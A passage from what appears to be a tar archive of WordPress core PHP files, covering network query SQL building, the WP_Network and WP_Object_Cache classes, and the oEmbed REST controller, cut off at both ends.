. implode( "', '", $wpdb->_escape( $this->query_vars['domain__in'] ) ) . "' )"; } // Parse network domain for a NOT IN clause. if ( is_array( $this->query_vars['domain__not_in'] ) ) { $this->sql_clauses['where']['domain__not_in'] = "$wpdb->site.domain NOT IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['domain__not_in'] ) ) . "' )"; } if ( ! empty( $this->query_vars['path'] ) ) { $this->sql_clauses['where']['path'] = $wpdb->prepare( "$wpdb->site.path = %s", $this->query_vars['path'] ); } // Parse network path for an IN clause. if ( is_array( $this->query_vars['path__in'] ) ) { $this->sql_clauses['where']['path__in'] = "$wpdb->site.path IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['path__in'] ) ) . "' )"; } // Parse network path for a NOT IN clause. if ( is_array( $this->query_vars['path__not_in'] ) ) { $this->sql_clauses['where']['path__not_in'] = "$wpdb->site.path NOT IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['path__not_in'] ) ) . "' )"; } // Falsey search strings are ignored. if ( strlen( $this->query_vars['search'] ) ) { $this->sql_clauses['where']['search'] = $this->get_search_sql( $this->query_vars['search'], array( "$wpdb->site.domain", "$wpdb->site.path" ) ); } $join = ''; $where = implode( ' AND ', $this->sql_clauses['where'] ); $groupby = ''; $pieces = array( 'fields', 'join', 'where', 'orderby', 'limits', 'groupby' ); /** * Filters the network query clauses. * * @since 4.6.0 * * @param string[] $pieces An associative array of network query clauses. * @param WP_Network_Query $query Current instance of WP_Network_Query (passed by reference). */ $clauses = apply_filters_ref_array( 'networks_clauses', array( compact( $pieces ), &$this ) ); $fields = isset( $clauses['fields'] ) ? $clauses['fields'] : ''; $join = isset( $clauses['join'] ) ? $clauses['join'] : ''; $where = isset( $clauses['where'] ) ? $clauses['where'] : ''; $orderby = isset( $clauses['orderby'] ) ? $clauses['orderby'] : ''; $limits = isset( $clauses['limits'] ) ? $clauses['limits'] : ''; $groupby = isset( $clauses['groupby'] ) ? $clauses['groupby'] : ''; if ( $where ) { $where = 'WHERE ' . $where; } if ( $groupby ) { $groupby = 'GROUP BY ' . $groupby; } if ( $orderby ) { $orderby = "ORDER BY $orderby"; } $found_rows = ''; if ( ! $this->query_vars['no_found_rows'] ) { $found_rows = 'SQL_CALC_FOUND_ROWS'; } $this->sql_clauses['select'] = "SELECT $found_rows $fields"; $this->sql_clauses['from'] = "FROM $wpdb->site $join"; $this->sql_clauses['groupby'] = $groupby; $this->sql_clauses['orderby'] = $orderby; $this->sql_clauses['limits'] = $limits; $this->request = "{$this->sql_clauses['select']} {$this->sql_clauses['from']} {$where} {$this->sql_clauses['groupby']} {$this->sql_clauses['orderby']} {$this->sql_clauses['limits']}"; if ( $this->query_vars['count'] ) { return (int) $wpdb->get_var( $this->request ); } $network_ids = $wpdb->get_col( $this->request ); return array_map( 'intval', $network_ids ); } /** * Populates found_networks and max_num_pages properties for the current query * if the limit clause was used. * * @since 4.6.0 * * @global wpdb $wpdb WordPress database abstraction object. */ private function set_found_networks() { global $wpdb; if ( $this->query_vars['number'] && ! $this->query_vars['no_found_rows'] ) { /** * Filters the query used to retrieve found network count. * * @since 4.6.0 * * @param string $found_networks_query SQL query. Default 'SELECT FOUND_ROWS()'. * @param WP_Network_Query $network_query The `WP_Network_Query` instance. */ $found_networks_query = apply_filters( 'found_networks_query', 'SELECT FOUND_ROWS()', $this ); $this->found_networks = (int) $wpdb->get_var( $found_networks_query ); } } /** * Used internally to generate an SQL string for searching across multiple columns. * * @since 4.6.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $string Search string. * @param string[] $columns Array of columns to search. * @return string Search SQL. */ protected function get_search_sql( $string, $columns ) { global $wpdb; $like = '%' . $wpdb->esc_like( $string ) . '%'; $searches = array(); foreach ( $columns as $column ) { $searches[] = $wpdb->prepare( "$column LIKE %s", $like ); } return '(' . implode( ' OR ', $searches ) . ')'; } /** * Parses and sanitizes 'orderby' keys passed to the network query. * * @since 4.6.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $orderby Alias for the field to order by. * @return string|false Value to used in the ORDER clause. False otherwise. */ protected function parse_orderby( $orderby ) { global $wpdb; $allowed_keys = array( 'id', 'domain', 'path', ); $parsed = false; if ( 'network__in' === $orderby ) { $network__in = implode( ',', array_map( 'absint', $this->query_vars['network__in'] ) ); $parsed = "FIELD( {$wpdb->site}.id, $network__in )"; } elseif ( 'domain_length' === $orderby || 'path_length' === $orderby ) { $field = substr( $orderby, 0, -7 ); $parsed = "CHAR_LENGTH($wpdb->site.$field)"; } elseif ( in_array( $orderby, $allowed_keys, true ) ) { $parsed = "$wpdb->site.$orderby"; } return $parsed; } /** * Parses an 'order' query variable and cast it to 'ASC' or 'DESC' as necessary. * * @since 4.6.0 * * @param string $order The 'order' query variable. * @return string The sanitized 'order' query variable. */ protected function parse_order( $order ) { if ( ! is_string( $order ) || empty( $order ) ) { return 'ASC'; } if ( 'ASC' === strtoupper( $order ) ) { return 'ASC'; } else { return 'DESC'; } } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-network.php��������������������������������������������������������������������������������0000644�����������������00000030133�15120262030�0010464 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Network API: WP_Network class * * @package WordPress * @subpackage Multisite * @since 4.4.0 */ /** * Core class used for interacting with a multisite network. * * This class is used during load to populate the `$current_site` global and * setup the current network. * * This class is most useful in WordPress multi-network installations where the * ability to interact with any network of sites is required. * * @since 4.4.0 * * @property int $id * @property int $site_id */ class WP_Network { /** * Network ID. * * @since 4.4.0 * @since 4.6.0 Converted from public to private to explicitly enable more intuitive * access via magic methods. As part of the access change, the type was * also changed from `string` to `int`. * @var int */ private $id; /** * Domain of the network. * * @since 4.4.0 * @var string */ public $domain = ''; /** * Path of the network. * * @since 4.4.0 * @var string */ public $path = ''; /** * The ID of the network's main site. * * Named "blog" vs. "site" for legacy reasons. A main site is mapped to * the network when the network is created. * * A numeric string, for compatibility reasons. * * @since 4.4.0 * @var string */ private $blog_id = '0'; /** * Domain used to set cookies for this network. * * @since 4.4.0 * @var string */ public $cookie_domain = ''; /** * Name of this network. * * Named "site" vs. "network" for legacy reasons. * * @since 4.4.0 * @var string */ public $site_name = ''; /** * Retrieve a network from the database by its ID. * * @since 4.4.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $network_id The ID of the network to retrieve. * @return WP_Network|false The network's object if found. False if not. */ public static function get_instance( $network_id ) { global $wpdb; $network_id = (int) $network_id; if ( ! $network_id ) { return false; } $_network = wp_cache_get( $network_id, 'networks' ); if ( false === $_network ) { $_network = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->site} WHERE id = %d LIMIT 1", $network_id ) ); if ( empty( $_network ) || is_wp_error( $_network ) ) { $_network = -1; } wp_cache_add( $network_id, $_network, 'networks' ); } if ( is_numeric( $_network ) ) { return false; } return new WP_Network( $_network ); } /** * Create a new WP_Network object. * * Will populate object properties from the object provided and assign other * default properties based on that information. * * @since 4.4.0 * * @param WP_Network|object $network A network object. */ public function __construct( $network ) { foreach ( get_object_vars( $network ) as $key => $value ) { $this->$key = $value; } $this->_set_site_name(); $this->_set_cookie_domain(); } /** * Getter. * * Allows current multisite naming conventions when getting properties. * * @since 4.6.0 * * @param string $key Property to get. * @return mixed Value of the property. Null if not available. */ public function __get( $key ) { switch ( $key ) { case 'id': return (int) $this->id; case 'blog_id': return (string) $this->get_main_site_id(); case 'site_id': return $this->get_main_site_id(); } return null; } /** * Isset-er. * * Allows current multisite naming conventions when checking for properties. * * @since 4.6.0 * * @param string $key Property to check if set. * @return bool Whether the property is set. */ public function __isset( $key ) { switch ( $key ) { case 'id': case 'blog_id': case 'site_id': return true; } return false; } /** * Setter. * * Allows current multisite naming conventions while setting properties. * * @since 4.6.0 * * @param string $key Property to set. * @param mixed $value Value to assign to the property. */ public function __set( $key, $value ) { switch ( $key ) { case 'id': $this->id = (int) $value; break; case 'blog_id': case 'site_id': $this->blog_id = (string) $value; break; default: $this->$key = $value; } } /** * Returns the main site ID for the network. * * Internal method used by the magic getter for the 'blog_id' and 'site_id' * properties. * * @since 4.9.0 * * @return int The ID of the main site. */ private function get_main_site_id() { /** * Filters the main site ID. * * Returning a positive integer will effectively short-circuit the function. * * @since 4.9.0 * * @param int|null $main_site_id If a positive integer is returned, it is interpreted as the main site ID. * @param WP_Network $network The network object for which the main site was detected. */ $main_site_id = (int) apply_filters( 'pre_get_main_site_id', null, $this ); if ( 0 < $main_site_id ) { return $main_site_id; } if ( 0 < (int) $this->blog_id ) { return (int) $this->blog_id; } if ( ( defined( 'DOMAIN_CURRENT_SITE' ) && defined( 'PATH_CURRENT_SITE' ) && DOMAIN_CURRENT_SITE === $this->domain && PATH_CURRENT_SITE === $this->path ) || ( defined( 'SITE_ID_CURRENT_SITE' ) && SITE_ID_CURRENT_SITE == $this->id ) ) { if ( defined( 'BLOG_ID_CURRENT_SITE' ) ) { $this->blog_id = (string) BLOG_ID_CURRENT_SITE; return (int) $this->blog_id; } if ( defined( 'BLOGID_CURRENT_SITE' ) ) { // Deprecated. $this->blog_id = (string) BLOGID_CURRENT_SITE; return (int) $this->blog_id; } } $site = get_site(); if ( $site->domain === $this->domain && $site->path === $this->path ) { $main_site_id = (int) $site->id; } else { $cache_key = 'network:' . $this->id . ':main_site'; $main_site_id = wp_cache_get( $cache_key, 'site-options' ); if ( false === $main_site_id ) { $_sites = get_sites( array( 'fields' => 'ids', 'number' => 1, 'domain' => $this->domain, 'path' => $this->path, 'network_id' => $this->id, ) ); $main_site_id = ! empty( $_sites ) ? array_shift( $_sites ) : 0; wp_cache_add( $cache_key, $main_site_id, 'site-options' ); } } $this->blog_id = (string) $main_site_id; return (int) $this->blog_id; } /** * Set the site name assigned to the network if one has not been populated. * * @since 4.4.0 */ private function _set_site_name() { if ( ! empty( $this->site_name ) ) { return; } $default = ucfirst( $this->domain ); $this->site_name = get_network_option( $this->id, 'site_name', $default ); } /** * Set the cookie domain based on the network domain if one has * not been populated. * * @todo What if the domain of the network doesn't match the current site? * * @since 4.4.0 */ private function _set_cookie_domain() { if ( ! empty( $this->cookie_domain ) ) { return; } $this->cookie_domain = $this->domain; if ( 'www.' === substr( $this->cookie_domain, 0, 4 ) ) { $this->cookie_domain = substr( $this->cookie_domain, 4 ); } } /** * Retrieve the closest matching network for a domain and path. * * This will not necessarily return an exact match for a domain and path. Instead, it * breaks the domain and path into pieces that are then used to match the closest * possibility from a query. * * The intent of this method is to match a network during bootstrap for a * requested site address. * * @since 4.4.0 * * @param string $domain Domain to check. * @param string $path Path to check. * @param int|null $segments Path segments to use. Defaults to null, or the full path. * @return WP_Network|false Network object if successful. False when no network is found. */ public static function get_by_path( $domain = '', $path = '', $segments = null ) { $domains = array( $domain ); $pieces = explode( '.', $domain ); /* * It's possible one domain to search is 'com', but it might as well * be 'localhost' or some other locally mapped domain. */ while ( array_shift( $pieces ) ) { if ( ! empty( $pieces ) ) { $domains[] = implode( '.', $pieces ); } } /* * If we've gotten to this function during normal execution, there is * more than one network installed. At this point, who knows how many * we have. Attempt to optimize for the situation where networks are * only domains, thus meaning paths never need to be considered. * * This is a very basic optimization; anything further could have * drawbacks depending on the setup, so this is best done per-installation. */ $using_paths = true; if ( wp_using_ext_object_cache() ) { $using_paths = wp_cache_get( 'networks_have_paths', 'site-options' ); if ( false === $using_paths ) { $using_paths = get_networks( array( 'number' => 1, 'count' => true, 'path__not_in' => '/', ) ); wp_cache_add( 'networks_have_paths', $using_paths, 'site-options' ); } } $paths = array(); if ( $using_paths ) { $path_segments = array_filter( explode( '/', trim( $path, '/' ) ) ); /** * Filters the number of path segments to consider when searching for a site. * * @since 3.9.0 * * @param int|null $segments The number of path segments to consider. WordPress by default looks at * one path segment. The function default of null only makes sense when you * know the requested path should match a network. * @param string $domain The requested domain. * @param string $path The requested path, in full. */ $segments = apply_filters( 'network_by_path_segments_count', $segments, $domain, $path ); if ( ( null !== $segments ) && count( $path_segments ) > $segments ) { $path_segments = array_slice( $path_segments, 0, $segments ); } while ( count( $path_segments ) ) { $paths[] = '/' . implode( '/', $path_segments ) . '/'; array_pop( $path_segments ); } $paths[] = '/'; } /** * Determine a network by its domain and path. * * This allows one to short-circuit the default logic, perhaps by * replacing it with a routine that is more optimal for your setup. * * Return null to avoid the short-circuit. Return false if no network * can be found at the requested domain and path. Otherwise, return * an object from wp_get_network(). * * @since 3.9.0 * * @param null|false|WP_Network $network Network value to return by path. Default null * to continue retrieving the network. * @param string $domain The requested domain. * @param string $path The requested path, in full. * @param int|null $segments The suggested number of paths to consult. * Default null, meaning the entire path was to be consulted. * @param string[] $paths Array of paths to search for, based on `$path` and `$segments`. */ $pre = apply_filters( 'pre_get_network_by_path', null, $domain, $path, $segments, $paths ); if ( null !== $pre ) { return $pre; } if ( ! $using_paths ) { $networks = get_networks( array( 'number' => 1, 'orderby' => array( 'domain_length' => 'DESC', ), 'domain__in' => $domains, ) ); if ( ! empty( $networks ) ) { return array_shift( $networks ); } return false; } $networks = get_networks( array( 'orderby' => array( 'domain_length' => 'DESC', 'path_length' => 'DESC', ), 'domain__in' => $domains, 'path__in' => $paths, ) ); /* * Domains are sorted by length of domain, then by length of path. * The domain must match for the path to be considered. Otherwise, * a network with the path of / will suffice. */ $found = false; foreach ( $networks as $network ) { if ( ( $network->domain === $domain ) || ( "www.{$network->domain}" === $domain ) ) { if ( in_array( $network->path, $paths, true ) ) { $found = true; break; } } if ( '/' === $network->path ) { $found = true; break; } } if ( true === $found ) { return $network; } return false; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-object-cache.php���������������������������������������������������������������������������0000644�����������������00000032357�15120262030�0011314 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Object Cache API: WP_Object_Cache class * * @package WordPress * @subpackage Cache * @since 5.4.0 */ /** * Core class that implements an object cache. * * The WordPress Object Cache is used to save on trips to the database. The * Object Cache stores all of the cache data to memory and makes the cache * contents available by using a key, which is used to name and later retrieve * the cache contents. * * The Object Cache can be replaced by other caching mechanisms by placing files * in the wp-content folder which is looked at in wp-settings. If that file * exists, then this file will not be included. * * @since 2.0.0 */ class WP_Object_Cache { /** * Holds the cached objects. * * @since 2.0.0 * @var array */ private $cache = array(); /** * The amount of times the cache data was already stored in the cache. * * @since 2.5.0 * @var int */ public $cache_hits = 0; /** * Amount of times the cache did not have the request in cache. * * @since 2.0.0 * @var int */ public $cache_misses = 0; /** * List of global cache groups. * * @since 3.0.0 * @var array */ protected $global_groups = array(); /** * The blog prefix to prepend to keys in non-global groups. * * @since 3.5.0 * @var string */ private $blog_prefix; /** * Holds the value of is_multisite(). * * @since 3.5.0 * @var bool */ private $multisite; /** * Sets up object properties; PHP 5 style constructor. * * @since 2.0.8 */ public function __construct() { $this->multisite = is_multisite(); $this->blog_prefix = $this->multisite ? get_current_blog_id() . ':' : ''; } /** * Makes private properties readable for backward compatibility. * * @since 4.0.0 * * @param string $name Property to get. * @return mixed Property. */ public function __get( $name ) { return $this->$name; } /** * Makes private properties settable for backward compatibility. * * @since 4.0.0 * * @param string $name Property to set. * @param mixed $value Property value. * @return mixed Newly-set property. */ public function __set( $name, $value ) { return $this->$name = $value; } /** * Makes private properties checkable for backward compatibility. * * @since 4.0.0 * * @param string $name Property to check if set. * @return bool Whether the property is set. */ public function __isset( $name ) { return isset( $this->$name ); } /** * Makes private properties un-settable for backward compatibility. * * @since 4.0.0 * * @param string $name Property to unset. */ public function __unset( $name ) { unset( $this->$name ); } /** * Adds data to the cache if it doesn't already exist. * * @since 2.0.0 * * @uses WP_Object_Cache::_exists() Checks to see if the cache already has data. * @uses WP_Object_Cache::set() Sets the data after the checking the cache * contents existence. * * @param int|string $key What to call the contents in the cache. * @param mixed $data The contents to store in the cache. * @param string $group Optional. Where to group the cache contents. Default 'default'. * @param int $expire Optional. When to expire the cache contents. Default 0 (no expiration). * @return bool True on success, false if cache key and group already exist. */ public function add( $key, $data, $group = 'default', $expire = 0 ) { if ( wp_suspend_cache_addition() ) { return false; } if ( empty( $group ) ) { $group = 'default'; } $id = $key; if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) { $id = $this->blog_prefix . $key; } if ( $this->_exists( $id, $group ) ) { return false; } return $this->set( $key, $data, $group, (int) $expire ); } /** * Sets the list of global cache groups. * * @since 3.0.0 * * @param string|string[] $groups List of groups that are global. */ public function add_global_groups( $groups ) { $groups = (array) $groups; $groups = array_fill_keys( $groups, true ); $this->global_groups = array_merge( $this->global_groups, $groups ); } /** * Decrements numeric cache item's value. * * @since 3.3.0 * * @param int|string $key The cache key to decrement. * @param int $offset Optional. The amount by which to decrement the item's value. Default 1. * @param string $group Optional. The group the key is in. Default 'default'. * @return int|false The item's new value on success, false on failure. */ public function decr( $key, $offset = 1, $group = 'default' ) { if ( empty( $group ) ) { $group = 'default'; } if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) { $key = $this->blog_prefix . $key; } if ( ! $this->_exists( $key, $group ) ) { return false; } if ( ! is_numeric( $this->cache[ $group ][ $key ] ) ) { $this->cache[ $group ][ $key ] = 0; } $offset = (int) $offset; $this->cache[ $group ][ $key ] -= $offset; if ( $this->cache[ $group ][ $key ] < 0 ) { $this->cache[ $group ][ $key ] = 0; } return $this->cache[ $group ][ $key ]; } /** * Removes the contents of the cache key in the group. * * If the cache key does not exist in the group, then nothing will happen. * * @since 2.0.0 * * @param int|string $key What the contents in the cache are called. * @param string $group Optional. Where the cache contents are grouped. Default 'default'. * @param bool $deprecated Optional. Unused. Default false. * @return bool False if the contents weren't deleted and true on success. */ public function delete( $key, $group = 'default', $deprecated = false ) { if ( empty( $group ) ) { $group = 'default'; } if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) { $key = $this->blog_prefix . $key; } if ( ! $this->_exists( $key, $group ) ) { return false; } unset( $this->cache[ $group ][ $key ] ); return true; } /** * Clears the object cache of all data. * * @since 2.0.0 * * @return true Always returns true. */ public function flush() { $this->cache = array(); return true; } /** * Retrieves the cache contents, if it exists. * * The contents will be first attempted to be retrieved by searching by the * key in the cache group. If the cache is hit (success) then the contents * are returned. * * On failure, the number of cache misses will be incremented. * * @since 2.0.0 * * @param int|string $key The key under which the cache contents are stored. * @param string $group Optional. Where the cache contents are grouped. Default 'default'. * @param bool $force Optional. Unused. Whether to force an update of the local cache * from the persistent cache. Default false. * @param bool $found Optional. Whether the key was found in the cache (passed by reference). * Disambiguates a return of false, a storable value. Default null. * @return mixed|false The cache contents on success, false on failure to retrieve contents. */ public function get( $key, $group = 'default', $force = false, &$found = null ) { if ( empty( $group ) ) { $group = 'default'; } if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) { $key = $this->blog_prefix . $key; } if ( $this->_exists( $key, $group ) ) { $found = true; $this->cache_hits += 1; if ( is_object( $this->cache[ $group ][ $key ] ) ) { return clone $this->cache[ $group ][ $key ]; } else { return $this->cache[ $group ][ $key ]; } } $found = false; $this->cache_misses += 1; return false; } /** * Retrieves multiple values from the cache in one call. * * @since 5.5.0 * * @param array $keys Array of keys under which the cache contents are stored. * @param string $group Optional. Where the cache contents are grouped. Default 'default'. * @param bool $force Optional. Whether to force an update of the local cache * from the persistent cache. Default false. * @return array Array of values organized into groups. */ public function get_multiple( $keys, $group = 'default', $force = false ) { $values = array(); foreach ( $keys as $key ) { $values[ $key ] = $this->get( $key, $group, $force ); } return $values; } /** * Increments numeric cache item's value. * * @since 3.3.0 * * @param int|string $key The cache key to increment * @param int $offset Optional. The amount by which to increment the item's value. Default 1. * @param string $group Optional. The group the key is in. Default 'default'. * @return int|false The item's new value on success, false on failure. */ public function incr( $key, $offset = 1, $group = 'default' ) { if ( empty( $group ) ) { $group = 'default'; } if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) { $key = $this->blog_prefix . $key; } if ( ! $this->_exists( $key, $group ) ) { return false; } if ( ! is_numeric( $this->cache[ $group ][ $key ] ) ) { $this->cache[ $group ][ $key ] = 0; } $offset = (int) $offset; $this->cache[ $group ][ $key ] += $offset; if ( $this->cache[ $group ][ $key ] < 0 ) { $this->cache[ $group ][ $key ] = 0; } return $this->cache[ $group ][ $key ]; } /** * Replaces the contents in the cache, if contents already exist. * * @since 2.0.0 * * @see WP_Object_Cache::set() * * @param int|string $key What to call the contents in the cache. * @param mixed $data The contents to store in the cache. * @param string $group Optional. Where to group the cache contents. Default 'default'. * @param int $expire Optional. When to expire the cache contents. Default 0 (no expiration). * @return bool False if not exists, true if contents were replaced. */ public function replace( $key, $data, $group = 'default', $expire = 0 ) { if ( empty( $group ) ) { $group = 'default'; } $id = $key; if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) { $id = $this->blog_prefix . $key; } if ( ! $this->_exists( $id, $group ) ) { return false; } return $this->set( $key, $data, $group, (int) $expire ); } /** * Resets cache keys. * * @since 3.0.0 * * @deprecated 3.5.0 Use switch_to_blog() * @see switch_to_blog() */ public function reset() { _deprecated_function( __FUNCTION__, '3.5.0', 'switch_to_blog()' ); // Clear out non-global caches since the blog ID has changed. foreach ( array_keys( $this->cache ) as $group ) { if ( ! isset( $this->global_groups[ $group ] ) ) { unset( $this->cache[ $group ] ); } } } /** * Sets the data contents into the cache. * * The cache contents are grouped by the $group parameter followed by the * $key. This allows for duplicate IDs in unique groups. Therefore, naming of * the group should be used with care and should follow normal function * naming guidelines outside of core WordPress usage. * * The $expire parameter is not used, because the cache will automatically * expire for each time a page is accessed and PHP finishes. The method is * more for cache plugins which use files. * * @since 2.0.0 * * @param int|string $key What to call the contents in the cache. * @param mixed $data The contents to store in the cache. * @param string $group Optional. Where to group the cache contents. Default 'default'. * @param int $expire Not Used. * @return true Always returns true. */ public function set( $key, $data, $group = 'default', $expire = 0 ) { if ( empty( $group ) ) { $group = 'default'; } if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) { $key = $this->blog_prefix . $key; } if ( is_object( $data ) ) { $data = clone $data; } $this->cache[ $group ][ $key ] = $data; return true; } /** * Echoes the stats of the caching. * * Gives the cache hits, and cache misses. Also prints every cached group, * key and the data. * * @since 2.0.0 */ public function stats() { echo '<p>'; echo "<strong>Cache Hits:</strong> {$this->cache_hits}<br />"; echo "<strong>Cache Misses:</strong> {$this->cache_misses}<br />"; echo '</p>'; echo '<ul>'; foreach ( $this->cache as $group => $cache ) { echo '<li><strong>Group:</strong> ' . esc_html( $group ) . ' - ( ' . number_format( strlen( serialize( $cache ) ) / KB_IN_BYTES, 2 ) . 'k )</li>'; } echo '</ul>'; } /** * Switches the internal blog ID. * * This changes the blog ID used to create keys in blog specific groups. * * @since 3.5.0 * * @param int $blog_id Blog ID. */ public function switch_to_blog( $blog_id ) { $blog_id = (int) $blog_id; $this->blog_prefix = $this->multisite ? $blog_id . ':' : ''; } /** * Serves as a utility function to determine whether a key exists in the cache. * * @since 3.4.0 * * @param int|string $key Cache key to check for existence. * @param string $group Cache group for the key existence check. * @return bool Whether the key exists in the cache for the given group. */ protected function _exists( $key, $group ) { return isset( $this->cache[ $group ] ) && ( isset( $this->cache[ $group ][ $key ] ) || array_key_exists( $key, $this->cache[ $group ] ) ); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-oembed-controller.php����������������������������������������������������������������������0000644�����������������00000015211�15120262030�0012407 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * WP_oEmbed_Controller class, used to provide an oEmbed endpoint. * * @package WordPress * @subpackage Embeds * @since 4.4.0 */ /** * oEmbed API endpoint controller. * * Registers the REST API route and delivers the response data. * The output format (XML or JSON) is handled by the REST API. * * @since 4.4.0 */ final class WP_oEmbed_Controller { /** * Register the oEmbed REST API route. * * @since 4.4.0 */ public function register_routes() { /** * Filters the maxwidth oEmbed parameter. * * @since 4.4.0 * * @param int $maxwidth Maximum allowed width. Default 600. */ $maxwidth = apply_filters( 'oembed_default_width', 600 ); register_rest_route( 'oembed/1.0', '/embed', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => '__return_true', 'args' => array( 'url' => array( 'description' => __( 'The URL of the resource for which to fetch oEmbed data.' ), 'required' => true, 'type' => 'string', 'format' => 'uri', ), 'format' => array( 'default' => 'json', 'sanitize_callback' => 'wp_oembed_ensure_format', ), 'maxwidth' => array( 'default' => $maxwidth, 'sanitize_callback' => 'absint', ), ), ), ) ); register_rest_route( 'oembed/1.0', '/proxy', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_proxy_item' ), 'permission_callback' => array( $this, 'get_proxy_item_permissions_check' ), 'args' => array( 'url' => array( 'description' => __( 'The URL of the resource for which to fetch oEmbed data.' ), 'required' => true, 'type' => 'string', 'format' => 'uri', ), 'format' => array( 'description' => __( 'The oEmbed format to use.' ), 'type' => 'string', 'default' => 'json', 'enum' => array( 'json', 'xml', ), ), 'maxwidth' => array( 'description' => __( 'The maximum width of the embed frame in pixels.' ), 'type' => 'integer', 'default' => $maxwidth, 'sanitize_callback' => 'absint', ), 'maxheight' => array( 'description' => __( 'The maximum height of the embed frame in pixels.' ), 'type' => 'integer', 'sanitize_callback' => 'absint', ), 'discover' => array( 'description' => __( 'Whether to perform an oEmbed discovery request for unsanctioned providers.' ), 'type' => 'boolean', 'default' => true, ), ), ), ) ); } /** * Callback for the embed API endpoint. * * Returns the JSON object for the post. * * @since 4.4.0 * * @param WP_REST_Request $request Full data about the request. * @return array|WP_Error oEmbed response data or WP_Error on failure. */ public function get_item( $request ) { $post_id = url_to_postid( $request['url'] ); /** * Filters the determined post ID. * * @since 4.4.0 * * @param int $post_id The post ID. * @param string $url The requested URL. */ $post_id = apply_filters( 'oembed_request_post_id', $post_id, $request['url'] ); $data = get_oembed_response_data( $post_id, $request['maxwidth'] ); if ( ! $data ) { return new WP_Error( 'oembed_invalid_url', get_status_header_desc( 404 ), array( 'status' => 404 ) ); } return $data; } /** * Checks if current user can make a proxy oEmbed request. * * @since 4.8.0 * * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_proxy_item_permissions_check() { if ( ! current_user_can( 'edit_posts' ) ) { return new WP_Error( 'rest_forbidden', __( 'Sorry, you are not allowed to make proxied oEmbed requests.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Callback for the proxy API endpoint. * * Returns the JSON object for the proxied item. * * @since 4.8.0 * * @see WP_oEmbed::get_html() * @param WP_REST_Request $request Full data about the request. * @return object|WP_Error oEmbed response data or WP_Error on failure. */ public function get_proxy_item( $request ) { $args = $request->get_params(); // Serve oEmbed data from cache if set. unset( $args['_wpnonce'] ); $cache_key = 'oembed_' . md5( serialize( $args ) ); $data = get_transient( $cache_key ); if ( ! empty( $data ) ) { return $data; } $url = $request['url']; unset( $args['url'] ); // Copy maxwidth/maxheight to width/height since WP_oEmbed::fetch() uses these arg names. if ( isset( $args['maxwidth'] ) ) { $args['width'] = $args['maxwidth']; } if ( isset( $args['maxheight'] ) ) { $args['height'] = $args['maxheight']; } // Short-circuit process for URLs belonging to the current site. $data = get_oembed_response_data_for_url( $url, $args ); if ( $data ) { return $data; } $data = _wp_oembed_get_object()->get_data( $url, $args ); if ( false === $data ) { // Try using a classic embed, instead. global $wp_embed; /* @var WP_Embed $wp_embed */ $html = $wp_embed->get_embed_handler_html( $args, $url ); if ( $html ) { global $wp_scripts; // Check if any scripts were enqueued by the shortcode, and include them in the response. $enqueued_scripts = array(); foreach ( $wp_scripts->queue as $script ) { $enqueued_scripts[] = $wp_scripts->registered[ $script ]->src; } return (object) array( 'provider_name' => __( 'Embed Handler' ), 'html' => $html, 'scripts' => $enqueued_scripts, ); } return new WP_Error( 'oembed_invalid_url', get_status_header_desc( 404 ), array( 'status' => 404 ) ); } /** This filter is documented in wp-includes/class-wp-oembed.php */ $data->html = apply_filters( 'oembed_result', _wp_oembed_get_object()->data2html( (object) $data, $url ), $url, $args ); /** * Filters the oEmbed TTL value (time to live). * * Similar to the {@see 'oembed_ttl'} filter, but for the REST API * oEmbed proxy endpoint. * * @since 4.8.0 * * @param int $time Time to live (in seconds). * @param string $url The attempted embed URL. * @param array $args An array of embed request arguments. */ $ttl = apply_filters( 'rest_oembed_ttl', DAY_IN_SECONDS, $url, $args ); set_transient( $cache_key, $data, $ttl ); return $data; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-oembed.php���������������������������������������������������������������������������������0000644�����������������00000073161�15120262030�0010236 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * API for fetching the HTML to embed remote content based on a provided URL * * Used internally by the WP_Embed class, but is designed to be generic. * * @link https://wordpress.org/support/article/embeds/ * @link http://oembed.com/ * * @package WordPress * @subpackage oEmbed */ /** * Core class used to implement oEmbed functionality. * * @since 2.9.0 */ class WP_oEmbed { /** * A list of oEmbed providers. * * @since 2.9.0 * @var array */ public $providers = array(); /** * A list of an early oEmbed providers. * * @since 4.0.0 * @var array */ public static $early_providers = array(); /** * A list of private/protected methods, used for backward compatibility. * * @since 4.2.0 * @var array */ private $compat_methods = array( '_fetch_with_format', '_parse_json', '_parse_xml', '_parse_xml_body' ); /** * Constructor. * * @since 2.9.0 */ public function __construct() { $host = urlencode( home_url() ); 